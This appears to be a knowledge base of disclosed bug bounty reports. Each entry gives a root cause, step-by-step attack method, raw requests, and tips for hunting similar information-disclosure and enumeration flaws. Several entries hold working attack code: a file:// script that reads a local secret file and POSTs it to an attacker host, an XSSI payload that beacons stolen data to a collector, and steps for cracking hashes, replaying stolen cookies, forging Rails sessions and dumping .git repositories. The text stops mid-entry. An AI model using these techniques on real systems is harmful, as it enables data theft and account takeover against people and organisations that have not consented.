GET https://TARGET/?p=1657 -> 301 Location: /event/ijebu-2019/
# enumerate 1..10000, harvest slugs
GET https://TARGET/do_action-export-1498557984/ -> CSV of participant PII (no auth)
Insight — On WordPress, ?p={id} is a universal content-enumeration primitive (Location header reveals structure even when listings are hidden). Combine with predictable timestamp-named export files for unauthenticated PII dumps.
Real-world example
Parameter encoding manipulation bypasses secret masking (Airflow)
◆ Medium
Specimen #2209665 · ibb · awarded · 17 votes · resolved
Program ibbSurface web
Root cause
Airflow's Rendered Template page masks secrets only on the normal code path; manipulating the execution_date param encoding (decoded + vs %2B), or viewing a task that was never executed, renders the page with secrets unmasked (CVE-2023-40712).
Method
- Open the Rendered Template page for a task whose template references a secret Variable/Connection
- In the URL replace the encoded plus (%2B) in execution_date with a literal '+' (or otherwise malform it)
- Page still renders but with the credential unmasked
- Variant: view rendered template of a not-yet-executed task (depends_on_past) to see unmasked secret
# masked: ...&execution_date=2023-08-17T16%3A15%3A08.189107%2B00%3A00
# UNmasked: ...&execution_date=2023-08-17T16%3A15%3A08.189107+00%3A00
# dag: extract(pwd=Variable.get('secret_var')) -> secret_var shown unmasked
Insight — Masking/redaction that hangs off a parsed parameter can be bypassed by feeding a malformed/alternately-encoded value that skips the masking branch but still renders. Also test object states (not-run tasks) where the masking code never fires.
Real-world example
Password hashes returned by admin user-search API (excessive data exposure)
◆ Medium
Specimen #1489892 · upchieve · none · 16 votes · resolved
Program upchieveSurface apiChain hash disclosure -> offline cracking -> credential reusTag account-takeover
Root cause
The admin user-search endpoint serializes the full user document, including the password hash field, straight to JSON instead of a curated view model.
Method
- As an admin (or any role able to reach the endpoint), call the user-search/list API.
- Inspect the JSON response; the password hash of every returned user is present.
- Feed hashes to hashcat/john to crack weak/reused passwords.
GET /api/users?page=1&userId=&firstName=test&lastName=&email=&partnerOrg=&highSchool= HTTP/2
Host: hackers.upchieve.org
Insight — Always diff API JSON against the rendered UI: backends frequently over-serialize the ORM object and ship fields (password/hash, tokens, PII, isAdmin) the UI never shows. Grep responses for hash-looking values ($2b$, sha, hex).
Real-world example
Verbose 500 stack trace leaking absolute paths and full SQL query
◆ Medium
Specimen #2108342 · nextcloud · none · 16 votes · resolved
Program nextcloudSurface apiChain verbose error -> schema/column disclosure -> targeted
Root cause
An unhandled exception path (record-not-found on an edit/lookup) returns a JSON error containing the full framework stack trace: absolute file paths, class/function names, and the parameterized SQL query with all column names.
Method
- Find an object-edit/lookup endpoint that takes an id.
- Change the id to a non-existent value (or inject a single quote into a field to force a DB error).
- The 500 response body includes the trace (server paths) and the exact SQL SELECT/INSERT with column names.
PUT /index.php/apps/calendar/v1/appointment_configs/3 HTTP/1.1
{"id":3, ...} # server-side lookup uses a different (non-existent) id -> 500 with SQL query + paths
Insight — To surface verbose errors, feed endpoints values that break assumptions: non-existent IDs, a single quote (') to trigger DB errors, wrong types, over-long inputs. The leaked column list + table names (e.g. *PREFIX*calendar_appt_configs) directly seeds SQLi and maps the schema. Seen again in #3403450 (Revive Adserver): a single quote in an ACL 'execution order' field returned the MySQL/MariaDB version, PHP version and the raw INSERT query (CVE-2025-52671).
Real-world example
Email/username enumeration via unthrottled registration endpoint
◆ Medium
Specimen #275186 · instacart · 150 · 16 votes · resolved
Program instacartSurface webTag account-takeover
Root cause
The registration endpoint returns a distinguishable 'email has already been taken' error and is not rate-limited, allowing bulk enumeration of registered emails; sending a blank password avoids actually creating accounts.
Method
- POST candidate emails to the register endpoint with the password field left blank.
- Distinguish responses: 'has already been taken' = registered; 'password can't be blank' only = not registered.
- Automate over a wordlist/breach list; no rate limit means unlimited enumeration.
POST /accounts/register HTTP/1.1
Host: www.TARGET
Content-Type: application/x-www-form-urlencoded
user[email]=TARGET_EMAIL&user[password]=&...
# exists -> {"errors":{"email":["has already been taken"],"password":["can't be blank"]}}
# absent -> {"errors":{"password":["can't be blank"]}}
Insight — Registration, login, and password-reset endpoints leak account existence via differential responses; check rate limiting on each. The blank-password trick lets you probe existence without side effects (no account created, no email sent).
Real-world example
Backend source-code exposure via virtual-host confusion + directory listing
◆ Medium
Specimen #1008364 · acronis · $250 · 15 votes · resolved
Program acronisSurface webChain vhost confusion -> directory listing -> source code +
Root cause
A server hosting an internal/legacy virtual host serves raw source files with directory listing enabled; requesting the vhost by mapping its hostname to the discovered IP exposes thousands of source files (with embedded secrets/keys).
Method
- Discover a backend IP and a vhost hostname that resolves elsewhere publicly (here api.acronis.com vs msg3.acronis.com).
- Force the Host by mapping the hostname to the internal IP (hosts file or Burp 'map to IP').
- Browse common dirs (/admin/ /includes/ /scripts/ /private/ ...) - directory listing reveals raw .php/.inc source with secrets.
# Burp: Project options > Hostname Resolution: api.acronis.com -> 91.195.23.198
curl -H 'Host: api.acronis.com' http://91.195.23.198/includes/
curl -H 'Host: api.acronis.com' http://91.195.23.198/private/
Insight — When a hostname resolves to a CDN/prod IP publicly, try pointing it at other discovered origin IPs - the origin may serve a different, un-hardened vhost with directory listing and raw source. Always test /includes/ /config/ /scripts/ etc for listings and grep the source for keys.
Real-world example
Cross-tenant PII leak via global username lookup in add-user form
◆ Medium
Specimen #3401464 · revive_adserver · none · 15 votes · resolved
Program revive_adserverSurface web
Root cause
The 'Add user' username lookup queries all accounts globally instead of scoping to the caller's account; entering another account's username returns that user's contact name and email even without permission to that account.
Method
- Log in as a low-privileged user of account/scope A
- Open User Access -> Add user
- Type a username known to belong to a different account B
- Observe the form auto-populates B's contact name and email
POST /account-user-add.php
username=victim_in_other_account
Insight — Invite/add-user/'share with' autocomplete and lookup features frequently resolve identifiers across the whole tenant table; test them by supplying identifiers from a foreign tenant and watch for reflected PII (name/email).
Real-world example
Source disclosure via editor backup file (trailing ~)
◆ Medium
Specimen #389454 · starbucks · awarded · 15 votes · resolved
Program starbucksSurface webChain backup-file recon -> source disclosure -> config/DB crTag account-takeover
Root cause
Editors (vi/emacs/gedit) leave backup copies like page.php~ next to the original; the web server serves the ~ file as text/plain instead of executing it, disclosing raw PHP source including includes and config references.
Method
- Take a known dynamic path (e.g. /howto/store/order.html)
- Request it with a backup suffix appended
- Server returns raw source instead of rendered output
GET /howto/store/order.html~ HTTP/1.1
Host: www.TARGET
# also try: .bak .old .save .swp .swo .orig .php~ index.php.bak copy%20of
Insight — Always fuzz backup/editor-artifact suffixes on server-side scripts. Recovered source reveals include paths, config file names, DB creds, and further vuln surface. Extend to .git/.svn, .DS_Store, and IDE swap files.
Real-world example
Exposed config.json leaks AWS + OAuth secrets
◆ Medium
Specimen #1704035 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface webChain exposed config.json -> AWS credentials -> potential S3Tag cloud-aws
Root cause
An application configuration file is served from the web root, exposing live AWS access key/secret and OAuth client credentials.
Method
- Probe common config paths at the web root (/config.json, /config.js, /.env, /appsettings.json)
- Retrieve the file and extract embedded credentials
- Validate the AWS keys / OAuth client for downstream access
https://TARGET/config.json
# yields: aws.accessKeyID, aws.secretAccessKey, region, bucket; oauth clientID/clientSecret
Insight — Always fuzz web root for framework/build config files that get bundled and accidentally served. A single exposed config.json/.env commonly leaks cloud keys usable for direct account/S3 access.
Real-world example
Capability URL leaked via Referer
◆ Medium
Specimen #997350 · shopify · 500 · 14 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
An authorization-bearing 'preview' URL (secret token embedded in the URL) is exposed on a page linking out to third parties; clicking an outbound link leaks the full preview URL in the Referer header to the attacker-controlled site, granting password-less preview access.
Method
- Open the store preview containing the secret preview link
- Click an outbound third-party link (e.g. social media) while intercepting
- Read the leaked preview URL from the Referer header of the outbound request
- Open that URL elsewhere to preview all store actions without the store password
# outbound request leaks:
Referer: https://your-store.myshopify.com/...preview...?token=<SECRET>
# fix:
<meta name="referrer" content="no-referrer">
Insight — Any secret placed in a URL (capability URL / magic link / preview token) leaks via Referer to every third-party resource or link on the page. Hunt for tokens-in-URL + outbound links/resources; recommend Referrer-Policy: no-referrer and short-lived single-use tokens.
Real-world example
Origin IP exposure behind Cloudflare (WAF bypass)
◆ Medium
Specimen #255978 · unikrn · 50 · 14 votes · resolved
Program unikrnSurface web
Root cause
Origin servers accept connections from any source IP instead of restricting to Cloudflare's published ranges, so an attacker who discovers the real origin IP (e.g. via Censys/Shodan certificate scans) can hit the origin directly, bypassing CDN WAF/DDoS protection.
Method
- Find candidate origin IPs via Censys/Shodan (match TLS cert, favicon hash, or Host header)
- Send requests to the IP with the target Host header
- Confirm the origin responds (WAF/CDN bypassed)
curl -s -k https://ORIGIN_IP/ -H 'Host: TARGET' -o /dev/null -w '%{http_code}\n'
# discovery: censys 'services.tls.certificates.leaf_data.subject.common_name: TARGET'
Insight — When a site sits behind Cloudflare, hunt the real origin IP (Censys/Shodan cert search, historical DNS, SPF/MX records) and verify the origin firewall does not restrict to CDN ranges - direct origin access nullifies the WAF and enables DDoS/direct attacks.
Real-world example
XSSI: private data in dynamic JS global stolen cross-origin
◆ Medium
Specimen #495525 · iandunn-projects · 50 · 14 votes · resolved
Program iandunn-projectsSurface web
Root cause
A plugin serves a dynamically generated JavaScript file (via admin-ajax.php action) that assigns all post/page titles - including private and draft posts - to a global variable; because it is plain JS with no anti-XSSI protection, a third-party page can <script>-include it and read the global in the victim's authenticated context.
Method
- Find an endpoint returning executable JS that embeds per-user/private data in a global
- Host a page that <script src>-includes that endpoint
- When an authenticated victim visits, read window.<global> and exfiltrate
<script src="https://TARGET/wp-admin/admin-ajax.php?action=qni_content_index"></script>
<script>navigator.sendBeacon('//COLLAB/x', JSON.stringify(window.qniContentIndex));</script>
Insight — Any endpoint that returns JavaScript (not JSON) containing user-specific or private data is XSSI-vulnerable - it ignores CORS because <script> include runs in the victim's session; look for dynamically generated .js and admin-ajax actions that assign to globals.
Real-world example
Internet-exposed Prometheus dashboard leaks internal metrics
◆ Medium
Specimen #1200583 · r3 · none · 14 votes · resolved
Program r3Surface web
Root cause
A Prometheus server (wired to the Kubernetes API) was publicly reachable with no auth, exposing internal metrics of QA systems - service names, endpoints, versions, and cluster topology.
Method
- Enumerate monitoring subdomains (prometheus.*, grafana.*, metrics.*)
- Request the root / /graph / /targets / /api/v1/targets unauthenticated
- Harvest internal service/endpoint/version data from metrics
curl -s https://prometheus.TARGET/api/v1/targets | jq .
curl -s https://prometheus.TARGET/graph
Insight — Hunt exposed observability stacks (Prometheus, Grafana, Kibana, cAdvisor, Consul); /api/v1/targets and metric labels leak internal hostnames, k8s topology and software versions that seed the rest of an engagement.
Real-world example
Old passwords returned in plaintext by user-profile API
◆ Medium
Specimen #1549217 · recorded-future · awarded · 14 votes · resolved
Program recorded-futureSurface api
Root cause
A user-object fetch endpoint serializes the full stored user record, including historical password fields, into the JSON response instead of stripping secret attributes.
Method
- Log in and open a request that loads the user profile object
- Send POST to the user-get endpoint and inspect the JSON response
- Look under params for password-like keys
POST /rf/kobradata/user/get/user HTTP/1.1
Host: app.recordedfuture.com
Cookie: <session>
-> response JSON contains: "params":{ ..., "_password1":"<plaintext>", "_password2":"<plaintext>" }
Insight — Whenever an app returns a serialized user/account object, grep the response for password/secret/token/hash keys; ORMs frequently over-serialize and leak fields never rendered in the UI. Prior (not just current) passwords indicate plaintext-at-rest storage.
Real-world example
Persistent tracking via window.caches bypassing cookie/storage blockers
◆ Medium
Specimen #1668815 · brave · awarded · 14 votes · resolved
Program braveSurface mobile-ios
Root cause
Anti-tracking scripts clear cookies/localStorage/sessionStorage but do not clear the CacheStorage API (window.caches), which persists across sessions and is writable from JS.
Method
- Enable the privacy blocker (cookies blocked)
- From JS, store a tracking id in CacheStorage
- Close and reopen browser, revisit page
- Read the id back from CacheStorage
// set
caches.open('t').then(c=>c.put('/id', new Response('TRACKING_ID')));
// get
caches.open('t').then(c=>c.match('/id')).then(r=>r&&r.text()).then(id=>report(id));
Insight — When auditing privacy/anti-tracking controls, enumerate ALL client-side persistence surfaces, not just cookies: CacheStorage (window.caches), IndexedDB, ServiceWorker registrations, WebSQL, FileSystem API, ETag/If-None-Match cache. Blockers routinely miss newer storage APIs.
Real-world example
Unauthenticated Jira REST endpoints leak internal data (CVE-2020-14179)
◆ Medium
Specimen #1822160 · deptofdefense · none · 13 votes · resolved
Program deptofdefenseSurface web
Root cause
Jira Server exposes several REST endpoints to anonymous users, disclosing project categories, resolutions, usernames and admin menu links used to map the internal environment.
Method
- Locate a Jira Server instance
- Hit the anonymous-accessible REST endpoints with a large maxResults
- Enumerate project categories, resolutions, usernames, and admin console URLs
GET /rest/api/2/projectCategory?maxResults=1000 HTTP/1.1
GET /rest/api/2/resolution?maxResults=1000 HTTP/1.1
GET /rest/menu/latest/admin?maxResults=1000 HTTP/1.1
Insight — On any Jira/Confluence target, curl the anonymous REST surface (projectCategory, resolution, menu/latest/admin, user picker) before authenticating - it fingerprints versions, users, and internal admin links for further attack.
Real-world example
CGI script served as source instead of executed
◆ Medium
Specimen #211418 · rockstargames · USD 150 · 13 votes · resolved
Program rockstargamesSurface web
Root cause
A .cgi endpoint is served as a static file (handler/ScriptAlias misconfiguration) so the raw script source is returned to the browser instead of being run.
Method
- Request the script by its full path (e.g. .cgi/.pl)
- Observe the response body is the script source rather than rendered output
GET https://www.rockstargames.com/gta/game/highscores.cgi
-> returns raw script source
Insight — When you find dynamic-looking extensions (.cgi .pl .py .php .jsp .rb), request them directly and check whether source is returned; also try appending ~, .bak, .txt, .old or case changes to defeat the handler and dump source and embedded credentials/DB strings.
Real-world example
Password-protected room metadata/participants readable without password
◆ Medium
Specimen #428010 · nextcloud · USD 50 · 13 votes · resolved
Program nextcloudSurface api
Root cause
The room-by-token API enforces the collection endpoint (list all rooms) but not the direct object endpoint: fetching a specific room token returns name, participant list and metadata even though the room is password-protected and the caller never supplied the password.
Method
- Create a shared, password-protected room and note its token
- As unauthenticated user, get cookies + CSRF token from the login page
- Request the specific room token directly to read name (unauth) and participants (auth-without-password)
GET /ocs/v2.php/apps/spreed/api/v1/room/<roomToken> HTTP/1.1
requesttoken: <csrf>
-> data.name = "supersecret" (leaked despite hasPassword:true)
GET /ocs/v2.php/apps/spreed/api/v1/room/<roomToken>/participants
-> leaks userId/displayName/sessionId list
Insight — When a resource is gated by a password/link, test the object-by-id endpoint separately from the list endpoint. Enforcement often lives only on the collection route; the singular GET /resource/<id> may skip the check and leak names/members/session ids.
Real-world example
Resource-existence oracle via differential error message
◆ Medium
Specimen #174645 · files · awarded · 13 votes · resolved
Program filesSurface web
Root cause
A move/write operation returns a different error for a non-existent path vs an existing-but-unauthorized path, so a user without access can confirm the existence of folders/paths by guessing names and diffing the error.
Method
- As a limited user, invoke move/copy to a guessed target path you have no access to
- Compare the error: 'not found'-style vs 'cannot write/permission'-style
- Enumerate names; a 'cannot write' response confirms the hidden path exists
move file -> destination: /Test2 (guessed, no permission)
# nonexistent name -> generic invalid error
# existing name -> "can not write" -> path exists
Insight — Any operation that distinguishes 404 (absent) from 403/'cannot write' (present-but-forbidden) is an existence oracle. Fix is uniform responses (always 404). Probe move/copy/rename/share targets, not just GET, to enumerate hidden resources.
Real-world example
Privacy de-anonymization via corrupt/unauthenticated RPC responses
◆ Medium
Specimen #304770 · monero · none · 13 votes · resolved
Program moneroSurface other
Root cause
A light client relies on an untrusted remote node over an unauthenticated channel (HTTP JSON, not TLS). By returning selectively corrupt data and observing the client's differential behavior (error+retry vs proceed), the node/on-path attacker infers the client's secret selection (the real spent output).
Method
- Malicious node returns all-bogus keys on first get_outs.bin; client errors but keeps outputs available
- User retries same transaction; client samples a NEW mixin set including the real output again
- Intersect the two requested index sets -> unique element is the real output
- Variant: return bogus for all-but-one index; whether client signs/broadcasts reveals if the real input was the non-bogus one
# retry-and-intersect
req1 gidx = {a,b,c, REAL}
req2 gidx = {x,y,z, REAL}
intersection -> REAL
Insight — When a client picks secret indices and asks an untrusted server to resolve them, differential client behavior on malformed responses (retry, resample, sign-vs-abort, pending-lock) leaks the secret choice. Mitigations: cache/commit the sampled set so retries are identical, authenticate responses (Merkle proof), and require TLS so an on-path attacker can't mount it. Applies to any mixnet/oblivious-lookup/PIR-style design.
Real-world example
Credentials transmitted in GET query string
◆ Medium
Specimen #490899 · ratelimited · none · 13 votes · resolved
Program ratelimitedSurface web
Root cause
The login flow submits username and password as URL query parameters (GET) rather than in a POST body, so credentials persist in browser history, server/proxy access logs, and the Referer header of any outbound request.
Method
- Observe the login request uses GET with credentials in the query string
- Note credential exposure sinks: history, logs, referer to third-party resources on the page
GET https://auth.TARGET/login?username=user%40mail&password=Secret%40123
Insight — Watch for secrets in URLs: login, password-reset tokens, API keys, session tokens as query params. They leak via Referer to third-party scripts/images, are cached in browser history, and land in web-server and proxy logs. Grep HAR/logs for password=, token=, key= in query strings.
Real-world example
Secrets leaked in public GitHub (hardcoded keys, config files, employee gists)
◆ Medium
Specimen #766346 · rocket_chat · none · 13 votes · resolved
Program rocket_chatSurface otherTag supply-chain
Root cause
Sensitive credentials and internal data are committed to public GitHub: API keys hardcoded in AndroidManifest.xml, google-services.json checked into the repo, and (variant) employee personal gists containing internal office dashboards with staff emails/calendars.
Method
- Enumerate the org's public repos and employees' personal accounts/gists
- Grep source and history for secrets: AndroidManifest.xml, google-services.json, .env, keys/tokens
- Check commit history and gist revisions, not just HEAD, since secrets persist in history
# repo
https://github.com/ORG/App.Android/blob/<sha>/app/src/main/AndroidManifest.xml (Fabric API key)
https://github.com/ORG/App.Android/blob/<sha>/app/google-services.json
# recon dorks
site github.com ORG password OR api_key OR google-services.json
github gist search: <employee-username>
Insight — GitHub recon is core to info-disclosure: scan org repos AND employees' personal repos/gists, and always mine commit/gist history (300+ revisions here) since deleted secrets remain. High-value files: google-services.json, AndroidManifest.xml, .env, *.pem, CI config. Employee gists frequently leak internal dashboards/PII.
Real-world example
Unencoded resource identifier -> parameter injection & timing oracle
◆ Medium
Specimen #803922 · rails · none · 13 votes · resolved
Program railsSurface other
Root cause
ActiveResource methods (find/exists?) do not URL-encode the resource identifier, so attacker-controlled ids containing ? and & are injected into the request path and reinterpreted as query parameters against the remote index endpoint (CVE-2020-8151).
Method
- Pass an identifier containing query syntax to a method that builds a remote URL
- Confirm the id is concatenated raw instead of percent-encoded
- Inject filter params into the index endpoint and infer results via response timing/size
Test.exists? '?a=1'
# expected: GET /tests/%3Fa%3D1.json
# actual: GET /tests/?a=1.json (injected query)
# timing oracle:
?type=a& -> 1 object -> ~500ms
?type=b& -> 0 objects -> ~100ms
Insight — Any place a library concatenates user input into a URL path without percent-encoding is an injection sink: ? & # / can pivot a path segment into query params, path traversal, or SSRF. Combine with a response-time/size differential to turn it into a blind data oracle.
Real-world example
file:// treated as same-origin enables local file theft
◆ Medium
Specimen #175979 · brave · 100 · 13 votes · resolved
Program braveSurface desktopChain downloaded HTML -> cross-file read via iframe -> exfilTag file-upload
Root cause
The browser gave every file:// document the same origin, so a locally-opened HTML file (e.g. a downloaded attachment) could read arbitrary other local files via an iframe's contentWindow or $.getScript, then exfiltrate them.
Method
- Deliver an HTML file the victim opens locally (download it)
- From that file, create an iframe pointing at another local path and read its innerHTML across origins
- POST the stolen file contents to an attacker server
frame = document.createElement('iframe');
frame.src = document.location.href.replace('/Downloads/test.html','/Desktop/secret.txt');
document.body.appendChild(frame);
setTimeout(function(){
var loot = frame.contentWindow.document.body.innerText;
fetch('http://ATTACKER/steal',{method:'POST',body:loot});
},500);
Insight — For any browser/webview/desktop app, test whether file:// documents can read sibling/other local files. Same-origin-for-all-file-URLs is a classic local file disclosure primitive; pair it with a predictable download path to weaponize.
Real-world example
Password reset token leaked to third parties via Referer
◆ Medium
Specimen #1320242 · mtn_group · none · 13 votes · resolved
Program mtn_groupSurface webChain reset token in URL -> Referer leak to 3rd party -> accTag account-takeover
Root cause
The password-reset page carries the reset token in its URL and links out to third-party sites (e.g. a Facebook footer link) without referrer suppression, so clicking any outbound link leaks the full reset URL (token) to that third party via the Referer header.
Method
- Request a password reset and open the reset link (token in URL)
- Before resetting, click an outbound third-party link on the page
- Observe the Referer header on the third-party request contains the reset token
Referer: https://TARGET/reset?token=SECRET_RESET_TOKEN
Insight — Any page that holds a secret in its URL (reset/verify/invite tokens) must set Referrer-Policy no-referrer and avoid cross-origin resources. Check reset/verify pages for outbound links, images, and analytics that leak the token via Referer.
Real-world example
Forced-browse exposed vendor/.git/.svn dev artifacts to recover source
◆ Medium
Specimen #271391 · eternal · none · 12 votes · resolved
Program eternalSurface webChain exposed vendor/phpunit -> CVE-2017-9841 eval-stdin RCE (i
Root cause
The web root is not restricted to the front controller, so framework internals (composer vendor/ directory, .git, .svn metadata) are directly fetchable, disclosing dependencies, source, and known-vulnerable tooling.
Method
- Fuzz for dev artifacts: vendor/, .git/HEAD, .git/config, .svn/entries, logs/
- For vendor/: read composer installed.json to enumerate libraries and versions
- Check phpunit eval-stdin.php for the CVE-2017-9841 RCE surface
- For .git/.svn: dump the repo with git-dumper / svn-extractor and reconstruct source
https://TARGET/vendor/composer/installed.json
https://TARGET/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php # CVE-2017-9841 test
https://TARGET/.git/config
https://TARGET/.svn/entries
# recover source:
python svn-extractor.py --url https://TARGET/
git-dumper https://TARGET/.git/ ./out
Insight — MVC apps should expose only the front controller. Always fuzz for vendor/, .git, .svn, .env, logs/. Exposed vendor/ leaks the exact dependency versions (map to CVEs, e.g. phpunit eval-stdin RCE); exposed VCS metadata yields full source and commit history via automated dumpers.
Real-world example
Firebase config exposed in page source -> open database probe
◆ Medium
Specimen #1351329 · mtn_group · none · 12 votes · resolved
Program mtn_groupSurface webChain client-side secret exposure -> potential unauth DB accessTag cloud-gcp
Root cause
Firebase initialization config (apiKey, projectId, databaseURL) is embedded in client-side HTML/JS; if the Realtime Database rules are permissive, the databaseURL grants unauthenticated read/write.
Method
- View page source / JS for a firebase config block (config = { ... databaseURL: ... }).
- Extract the databaseURL / projectId.
- Test for open rules by appending /.json to the Realtime DB URL.
var config = { apiKey:"...", databaseURL:"https://mpulse-25c68.firebaseio.com", projectId:"mpulse-25c68", storageBucket:"mpulse-25c68.appspot.com" };
# probe open read:
curl 'https://mpulse-25c68.firebaseio.com/.json'
Insight — Firebase apiKey in JS is not itself the bug; grep source for databaseURL/storageBucket and test the DB (/.json) and bucket for public rules. Do the same for any *.firebaseio.com / *.appspot.com string.
Real-world example
Email leak in public calendar source + session survives OAuth revocation
◆ Medium
Specimen #262262 · mixmax · none · 12 votes · resolved
Program mixmaxSurface webChain OAuth grant revoked at IdP -> app session persists (attacTag oauth
Root cause
A public calendar page embeds the organizer's Google account email in the HTML source, and separately the app session is not tied to the OAuth grant, so revoking the Google app connection does not log the attacker out.
Method
- Open a public shared calendar link and View Source; find the organizer email in an embedded JSON object
- Separately: log in via Google, then revoke Mixmax at myaccount.google.com/permissions
- Return to the app and observe the existing session is still fully authenticated
organizer: {"services":{"google":{"email":"victim@gmail.com", ... }}}
Insight — Two recurring checks: (1) grep public/shared pages' source for embedded PII JSON; (2) verify that revoking an OAuth grant (or changing password) actually kills active app sessions - many apps decouple session lifetime from the identity grant.
Real-world example
Browser file:// exec chain via ssh:// username leak + predictable download path
◆ Medium
Specimen #369218 · brave · awarded · 12 votes · resolved
Program braveSurface desktopChain ssh:// username leak -> predict download path -> file:Tag file-upload
Root cause
'Open link in new tab' permits navigation to file:/// origins. Combined with an ssh:// navigation that leaks the victim's OS username to the attacker's SSH host, and an attacker-controlled download filename, the attacker can construct file:///Users/<user>/Downloads/<file>.html and execute the downloaded page locally.
Method
- Page triggers ssh://host navigation; attacker's SSH server learns the OS username
- Page downloads an HTML file (download attribute controls the filename)
- Victim uses 'Open in new tab' on file:///Users/<username>/Downloads/<file>.html
- Downloaded HTML executes on the local filesystem origin
file:///Users/${USERNAME_FROM_SSH}/Downloads/${DOWNLOAD_FILENAME}.html
Insight — Chain low-severity primitives: a username oracle (ssh://, error messages) + attacker-controlled download name + file:// navigation = local code execution. Test whether browsers/webviews allow user-initiated navigation to file:// and whether download filenames are attacker-controlled.
Real-world example
Object enumeration via authz-error differential (fetch-before-RBAC)
◆ Medium
Specimen #1916583 · ibb · $2400 · 11 votes · resolved
Program ibbSurface apiChain name enumeration -> targeted follow-on attack / social en
Root cause
Argo CD fetches the requested application before running the RBAC check, so a missing object returns 'not found' while an existing-but-forbidden object returns 'unauthorized' - the error differential leaks which app names exist; CVE-2022-41354.
Method
- Authenticate as a low-privilege user with no app access.
- Call an endpoint that takes only an app name (e.g. api/v1/application/<name>/logs).
- Compare errors: 'application not found' vs 'permission denied'/'unauthorized'.
- Brute-force names off the differential to map existing applications.
GET /api/v1/applications/<GUESS>/logs
# not found -> object does not exist
# unauthorized -> object exists (you just can't access it)
Insight — Whenever an API resolves an object before authorizing, distinct 404-vs-403 responses become an existence oracle. The correct fix (return the SAME error in both cases) is also your detection test: any endpoint that distinguishes them is enumerable.
Real-world example
Cleartext Authorization headers stored in Elasticsearch .async-search index
◆ Medium
Specimen #1042716 · elastic · $1000 · 11 votes · resolved
Program elasticSurface apiChain stored cleartext auth headers -> credential reuse -> l
Root cause
Elasticsearch persists async search results in the .async-search index and copies the originating request's Authorization headers into it in cleartext, so anyone able to read that index (e.g. a superuser, or via XSS on a superuser) obtains other users' credentials.
Method
- Trigger an async search (Kibana does this automatically with a 100ms completion timeout).
- Query the backing index for the stored headers.
- Read cleartext Authorization headers of other users (Basic/LDAP creds -> lateral movement).
POST /_async_search?size=0&wait_for_completion_timeout=0
{ "query": { "match_all": {} } }
POST /.async-search/_search
{ "_source": "headers.*" }
Insight — Audit internal/backing indices and caches (.async-search, .reporting, task results, audit logs) for stored credentials/headers. Systems that persist raw requests frequently retain Authorization/Cookie values in cleartext.
Real-world example
Private data access via namespace/username reuse after rename
◆ Medium
Specimen #195058 · gitlab · none · 10 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
Project export download links are keyed only by namespace/project path, not by owner or a signed token; when a victim renames their group, an attacker can claim the freed name and hit the same download_export path to grab the old export.
Method
- Scrape public namespaces and detect renames (old name now free)
- Claim the freed group/username and create a project at the same path (group/project)
- GET /group/project/download_export to download the victim's earlier export (code, issues, MRs, snippets)
GET http://gitlab-instance/test/test/download_export
Insight — Resources keyed by mutable path (username/namespace/project slug) instead of immutable owner id are vulnerable to reuse-after-rename attacks. Watch for renamed accounts and reclaim freed identifiers to inherit dangling links/files.
Real-world example
Secrets harvested from public bug-tracker issues via config-paste template
◆ Medium
Specimen #196878 · nextcloud · none · 10 votes · resolved
Program nextcloudSurface webTag supply-chain
Root cause
The GitHub issue template instructs users to paste config/config.php with a weak, incomplete redaction note, so users paste live dbpassword/passwordsalt/secret/mail_smtppassword into public issues.
Method
- Identify a project whose issue/support template asks for config or logs
- Search that project's public issues for config.php fields and secrets
- Extract dbpassword, secret, passwordsalt, mail_smtppassword, instanceid
# GitHub issue search / dork:
repo:ORG/PROJECT "dbpassword" OR "passwordsalt" OR "mail_smtppassword"
site:github.com "Insert your config.php content here" "secret =>"
Insight — Support/issue templates that ask for config files or verbose logs cause users to leak secrets into public trackers. Search a target's public issues (and their whole GitHub org) for config field names - the leak is systemic, not one-off.
Real-world example
Rails secret_key_base leaked in public repo -> session forgery
◆ Medium
Specimen #262620 · gratipay · none · 10 votes · resolved
Program gratipaySurface webChain leaked key -> forge session cookie -> auth bypass / acTag account-takeover
Root cause
A Rails secret_token.rb / secret_key_base committed to a public GitHub repo lets an attacker sign/verify session cookies, forging arbitrary authenticated sessions (impersonate any user).
Method
- Enumerate the target's GitHub orgs/repos (including side projects like access-dashboard)
- Grep repo + full commit history for config/initializers/secret_token.rb, secrets.yml, SECRET_KEY_BASE, ENV assignments
- Extract secret_key_base and use it to forge/decrypt Rails signed/encrypted session cookies -> impersonate users
# find committed Rails secrets across org repos
git clone TARGET_REPO && cd TARGET_REPO
git log -p --all | grep -iE 'secret_key_base|secret_token|SECRET_KEY_BASE'
# also search GitHub UI: org:TARGET secret_key_base
Insight — Framework signing keys in source control are game over: Rails secret_key_base, Django SECRET_KEY, Flask SECRET_KEY, Express cookie secrets all enable cookie/session forgery. Always check side-project and archived repos and full commit history, not just the main app.
Real-world example
ELMAH elmah.axd error log publicly accessible
◆ Medium
Specimen #962753 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webChain exposed error log -> stolen session cookie -> account Tag account-takeover
Root cause
ASP.NET ELMAH handler (elmah.axd) left with remote access enabled exposes the full application error log, leaking session cookies, request data, source paths and stack traces to anyone.
Method
- Request /elmah.axd (and common paths like /admin/elmah.axd, /errors/elmah.axd)
- Browse the logged exceptions; extract cookies, tokens, internal endpoints from request dumps
- Replay captured session cookies for account takeover; use disclosed endpoints/stack traces for further attacks
curl -sk https://TARGET/elmah.axd
curl -sk https://TARGET/elmah.axd/download # raw log export
# dork: inurl:elmah.axd
Insight — On .NET targets always test elmah.axd; the allowRemoteAccess default trap turns a debug aid into a session-cookie and internal-data dump. Same idea: Glimpse, trace.axd, /_diagnostics.
Real-world example
curl HSTS bypass via host-name normalization mismatch (trailing dot / IDN)
◆ Medium
Specimen #1565622 · ibb · awarded · 10 votes · resolved
Program ibbSurface otherChain HSTS bypass -> forced HTTP -> MITM clear-text intercepTag mitm
Root cause
curl stored HSTS state under one host representation but looked it up under another, so a normalization mismatch (trailing dot 'host.' vs 'host', or IDN U+3002 full stop vs ASCII '.') defeats the HSTS upgrade and lets a MITM downgrade the request to clear-text HTTP.
Method
- Cause the HSTS cache to be populated for the canonical host (e.g. https://host)
- Issue the follow-up request using a differing-but-equivalent host form: trailing dot 'host.' or IDN full stop
- curl fails to match the cached HSTS entry and proceeds over plain HTTP, exposing traffic to on-path interception
# trailing dot (CVE-2022-30115)
curl --hsts hsts.txt https://curl.se
